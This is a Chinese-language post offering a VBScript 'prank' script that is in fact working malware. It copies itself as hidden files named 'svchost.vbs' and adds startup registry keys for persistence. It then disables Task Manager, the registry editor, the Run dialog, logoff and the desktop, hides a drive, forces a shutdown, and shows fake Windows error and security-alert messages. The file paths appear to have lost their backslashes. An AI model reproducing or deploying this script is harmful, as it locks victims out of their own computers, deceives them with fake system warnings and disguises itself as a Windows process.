vbs整人代码之系统快要崩溃了

'VBS 整人代码
on error resume next
set FSO=createobject ("scripting.filesystemobject")
Set ws=WScript.CreateObject("WScript.shell")
Set WMI = GetObject("WinMgmts:")
set f=FSO.getfile(WScript.ScriptName)
fh=zcx("c:svchost.vbs","HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunsvchost")
fh=zcx("d:svchost.vbs","HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunsvchost")
fh=zcx("c:windowssystem32svchost.vbs","HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServicessvchost")
fh=zcx("c:windowssvchost.vbs","HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicessvchost")
set w=wmi.execquery("select * from win32_process where name='wscript.exe'")
j=0
For Each i In w
   j=j+1
Next
if j=1 then
   fh=xiugai("00000001","HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools")
   fh=xiugai("00000001","HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr")
   fh=xiugai("00000001","HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoRun")
   fh=xiugai("00000001","HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoClose")
   fh=xiugai("00000001","HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoLogoff")
   fh=xiugai("00000001","HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoDesktop")
   fh=xiugai("00000100","HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoDrives")
   ws.run "shutdown -f -t 60 -s"
   msgbox "系统快要崩溃了！",48,"由于你经常看"
   msgbox "致命错误" & vbcrlf & vbcrlf & "源: explorer.exe" & vbcrlf & "代码: 800A0005" & vbcrlf & "描述: Windows遇到问题需要关闭",18,"安全警报"
end if

function zcx(a,b)
   on error resume next
   set ws=createobject("wscript.shell")
   set FSO=createobject ("scripting.filesystemobject")
   set f=FSO.getfile(WScript.ScriptName)
   if fso.fileexists(a)=false then f.copy a,true
   ws.run "attrib +s +h +a +r " & a
   err.clear
   fh=ws.regread(b)
   if err.number<>0 then ws.regwrite b,a,"REG_SZ"
end function

function xiugai(a,b)
   on error resume next
   set ws=createobject("wscript.shell")
   err.clear
   fh=ws.regread(b)
   if err.number<>0 or int(fh)<>int(a) then ws.regwrite b,a,"REG_DWORD"
end function